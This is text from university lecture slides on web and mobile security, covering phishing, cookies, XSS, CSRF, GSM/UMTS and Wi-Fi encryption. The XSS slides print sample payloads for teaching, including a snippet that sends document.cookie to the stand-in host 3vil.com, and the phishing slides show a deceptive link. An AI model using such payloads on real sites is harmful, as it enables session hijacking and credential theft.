Computer security Lecture 10 Web security, Mobile security
Web: Threat model Attacks from communication and network security Also: direct web attacks, phishing, session hijacking, cross-site scripting,... Alice Bob Eve
Web: Threat model Attacks from communication and network security Also: direct web attacks, phishing, session hijacking, cross-site scripting,... Alice Bob Eve
Web: Threat model Attacks from communication and network security Also: direct web attacks, phishing, session hijacking, cross-site scripting,... Alice Bob Eve
Web: Threat model Attacks from communication and network security Also: direct web attacks, phishing, session hijacking, cross-site scripting,... Alice Bob Eve
Web: Threat model Attacks from communication and network security Also: direct web attacks, phishing, session hijacking, cross-site scripting,... Alice Bob Eve
Web protocols The HyperText Transfer Protocol (HTTP) belongs to the application layer of the OSI network layers A client sends a request (GET or POST) to the server The web server interprets the call, extracting user-provided parameters Sometimes there are back-end servers that provide the actual content (e.g., from a database) The server responds with a page in HyperText Markup Language (HTML)
Uniform Resource Locator/Identifier/Name The URL part is put through DNS lookup The URN part is used to identify the file (or data entity) desired by the client The hierarchical structure is not quite orderly in a URI http://www.icg.isy.liu.se/courses/tsit02/labpmpoweranalysis TKO1.pdf Attackers have formed hostnames with characters that look like a slash...
Phishing
URL obfuscation Misspelling of URLs, preferably ones which are hard to notice Hiding the true target, so-called Clickjacking <a href="http://phish.com">http://trustedbank.com</a> Similar-looking letters (t and f, d and b,... ), especially in long URLs
URL obfuscation: Unicode Unicode characters from other than ASCII are used to support multiple language URLs There are many look-alike Unicode letters Even worse, some are rendered exactly the same as each other
URL obfuscation: www.paypal.com A famous example involved a phishing site that registered the domain www.paypal.com using the cyrillic letter p (prononunced like swedish r) The cyrillic p is rendered as the latin p by browsers (although it may be different glyphs from the font used) The cyrillic p has Unicode #0440, while the latin p has #0070 Different URLs, different hosts Even worse, the phishing site obtaned an SSL certificate for the site
POST and GET There are two types of requests, POST and GET POST was intended to upload large data volumes, and puts the action to be performed into the request body GET was intended to download data, and puts the (relatively short) request parameters in the URI These are largely equivalent in their use today http://kdb-5.liu.se/liu/lith/studiehandboken/action.lasso? &-response=enkursplan.lasso&op=eq&k budget year=2012&op=eq& k kurskod=tsit02
Sanitize those parameters
Responses in HTML HTML itself is relatively harmless Elements include forms, frames, iframes, images, applets, scripts Some are active, activated by specific events A simple activation is the onclick action of the [submit] button of a form that causes a GET request Others are onmouseup, onmousehover,...
The Browser Displays web pages, represents them internally in the Domain Object Model tree Manages sessions Performs access control for client-side scripts html head body title meta meta h1 p ul a li li li
Sessions HTTP sessions can be established, but is not authenticated Authenticated sessions come in three variants Transport layer sessions (TLS) Network layer sessions Application layer sessions (private data)
Transport layer sessions: TLS ClientHello ServerHello,... Client ClientKeyExchange...,Finished Server
Transport layer sessions: EAP-TTLS Client EAP-Req/Id EAP-Resp/Id EAP-TTLS Start EAP-TTLS ClientHello EAP-TTLS ServerHello,... EAP-TTLS ClientKeyExchange EAP-TTLS...,Finished EAP-TTLS...,Finished EAP-TTLS Username,...,CHAP-Password EAP Success/Failure Server
TLS sessions, making ends meet
Network layer sessions The server creates a Session ID (SID) and transmits that to the client Often issued without user authentication, but authentication can be used Can be transferred by two mechanisms GET or POST parameters Cookies
Sessions using GET and POST Using the GET mechanism requires each link on a page to include the SID as a GET parameter The server needs to respond with a page where all links include the SID The POST mechanism uses a hidden form that holds the SID This also needs to be included in every page from the server Both of these are fairly weak, unless a transport layer session (HTTPS) already has been established
Cookies Cookies are small packets of data contained in server responses in a Set-Cookie header field Contains key-value pairs, domain, expiry date, an optional path, and secure and HTTP only flags The secure flag enforces HTTPS transmission The HTTP only flag prohibits client script access
Sessions using Cookies Put SID in a cookie and use that Attackers may try to modify a cookie to elevate their priviliges, cookie poisoning They could also try to steal the cookies, we ll see techniques for that later Basic requirements: SIDs should be hard to predict, and cookies should be stored safely
Cookies and privacy Cookies don t just store SIDs, they can be used to store all sorts of things But cookies are only sent to the matching domain? And cookies are stored at the user? No problem then! Not so fast, accessibility is really the problem, and cookies are sent to the matching domain This is a distributed database, and there are law requirements for such a thing
Cookie stealing Cookies are sent to the matching domain This is an example of same-origin policies Scripts are also under this policy The trick is to get your script included in a response from a trusted site (and to give you the cookie) The technique to do this is called cross-site scripting
Cross-site scripting, XSS This is a collection of techniques used to get attackers scripts included in web pages from trusted servers There must always be an opening for entering the script into the web page Oddly, there are (a few) servers that use the techniques to provide legitimate content
Reflected (nonpersistent) XSS Here, a script resides on the attacker s server The target user needs to be lured to the attacker s site Then, there are several techniques, a simple example: <A HREF="http://trusted.com/comment.cgi?mycomment=<SCRIPT alert( XSS! )></SCRIPT>">Click here</a> If the comment page echoes the argument, the script gets executed on the comment page, with the priviliges for pages from the trusted server Not only comment pages, but search engines, 404 pages,...
Stored (persistent), and DOM-based XSS In a stored XSS attack, the attacker stores the script directly at the trusted server, for example on a discussion page A DOM-based XSS attack is based on the habit of some pages to interpret the document.url at the client rather than at the server Attacker embeds script in a request URL Script gets put in document.url, but is not interpreted at the server, nor is in the HTML response Page contains references to document.url, so script is executed in the client The recent Facebook worms are of this kind
Cookie stealing through XSS Cookies are available in the DOM, in document.cookie (unless HTML-only is set) A (more complex) attack is now <IFRAME frameborder=0 src="" height=0 width=0 id="xss" id="xss" name="xss"></iframe> <SCRIPT> frames["xss"].location.href ="http://3vil.com/steal.php?cookie="+document.cookie> </SCRIPT>
Defenses against XSS Disable scripts (or rather, enable it only for sites you trust; use Noscript) Sanitize your inputs (well) Improve authentication Improve access control, so that it becomes harder to steal user credentials through the same-origin policy
Cross-Site Request Forgery (CSRF, XSRF) The opposite (in a sense) of a XSS attack A XSS attack uses the client s trust of a server execute commands at the client with the server s priviliges A CSRF attack uses the server s trust of a client and lures the client to request execution of commands at the server with the client s priviliges Common examples are inserted pages that perform (unwanted) actions on behalf of the client A merchant that uses paypal can normally not access credit card data of his customers A merchant lets the customer login to paypal, and then re-authenticates the user as himself If the user now enters credit card information, the merchant would get access to that
Web services security The internet is a complicated place, where services interact in various ways The book talks about mashups that combine services from several sources Often leads to complicated (and vulnerable) authentication and authorization structures
Federated Identity Management Several organizations cooperate to manage identity information Implements a trust, but verify strategy Authenticate on one site, get access to several sites Sites need agreements that regulate liability and dispute resolution Privacy has to be considered Security Assertion Markup Language (SAML) is a meta-level single sign-on protocol that can be implemented in Kerberos or through a PKI A slightly different example is OpenID
Web: Threat model Attacks from communication and network security Also: direct web attacks, phishing, session hijacking, cross-site scripting,... Alice Bob Eve
Mobility Mobile networks create a whole new set of problems: How do we authenticate users? How do we authenticate roaming users? How do we hand over sessions from one base station to another? Do we share a new session key, or transfer the old one? Can the user distinguish a false base station from a real one?
Analogue phones First generation cellphones provided no confidentiality (some obfuscation) Criminals used them to create alibies through call ftorwarding from land lines Authentication was sent through a challenge-response protocol, but in the clear, resulting in charge fraud
GSM politics At the time (the eighties, early nineties), there were strong restrictions on use of cryptography Law enforcement wanted to be able to perform wiretaps GSM consortium consisted of mainly national post, phone, and telegraph operators
GSM Design goals: good voice quality, cheap end systems, low running costs, international roaming, hand-held devices(!), new services such as SMS Security goals: protect against charge fraud, eavesdropping, and track stolen devices (but this was not always implemented)
GSM components Each GSM user has a subscription in a home network Users can use other visited network A phone consists of mobile equipment, and a Subscriber Identity Module (SIM) that contains cryptographic hardware, cryptographic keys, and other info The network side has base stations and a few different servers that handle user data
GSM IMSI, TMSI The identifier for a GSM phone is the International Mobile Subscriber Identity, IMSI The phone and home network share a 128-bit authentication key K i To protect user privacy, the IMSI is sent in the clear only in the initial connection to the GSM network, after that a Temporary MSI, TMSI is used The TMSI changes when phone moves between networks
GSM crypto Uses a 64-bit session key K c, created in the authentication process The authentication algorithm A3 and the key generation algorithm A8 are chosen by the network The encryption algorithm A5 is standardized, this is a stream cipher that can handle channel noise well, but does not give message integrity By todays standards, A5 is weak: A5/1 is the first version, the export A5/2 was broken immediately upon release, while A5/3 is somewhat stronger
GSM session key, Subscriber Identity Authentication
Roaming fraud A GSM subscription is taken out with a local network The user never intends to pay Instead he uses it abroad in a network of his choice, free of charge for a time (soft currency fraud) The home network also has to pay the foreign network for the service (hard currency fraud) Fraudsters and rouge networks may collude
False base stations Phone is authenticated, but network is not Furthermore, the network can ask the phone for the IMSI, breaking privacy And the network can even ask the phone to switch off encryption altogether Suddenly, network authentication is needed
UMTS (3G) UMTS is one 3G standard Higher speed, better security Above all, network authentication But also better crypto, uses KASUMI, a 128-bit key block cipher, used in a stream cipher mode
UMTS Authentication and Key Agreement
Internet mobility Mobile phone security is much about preventing fraudulent billing Internet mobility should meet other threats Redirecting traffic to get another user s messages Redirecting traffic to crowd another users reception In Mobile IPsec a user announces the current location to the intended correspondent directly and via the home agent The correspondent returns keygen tokens through both links The location is proved by knowing data from both links
WLAN WLAN security is not so much mobility but wireless network access Hiding the Service Set ID (SSID) is common but not so helpful The same applies to restricting access to a list of Medium Access Control (MAC) addresses The problem is that these are used before security can be set up, and can be sniffed in transit
WEP WEP is flawed Uses a stream cipher RC4 with a short IV; when IV repeats, so does the key stream, and this is really really bad for a stream cipher Checksum is CRC-32, and this is suited for finding random errors, not intentional modifications Finally, RC4 has been broken URGH
WPA This is a quick-fix designed to run on (mostly) the same hardware as WEP Generates a new encryption key for each packet through the Temporal Key Integrity Protocol Also changes the CRC checksum to a message integrity check algorithm called Michael There are still weaknesses that remain from WEP and some limitations of Michael that makes it possible to retrieve the keystream from short packets
WPA2 A new design Can be used in Transitional Security Network mode to allow older security modes (but... ) Robust Security Network mode is not backwards compatible Encryption is AES used in a stream cipher mode (CTR) Message integrity is ensured by CBC-MAC
Bluetooth Short range ad hoc networks Pairing may be by simple keypresses, close in time, or by PIN Main protection is physical proximity Security is better since Bluetooth 2.1 (2007), and include the Simple Secure Pairing in the book Uses the E0 stream cipher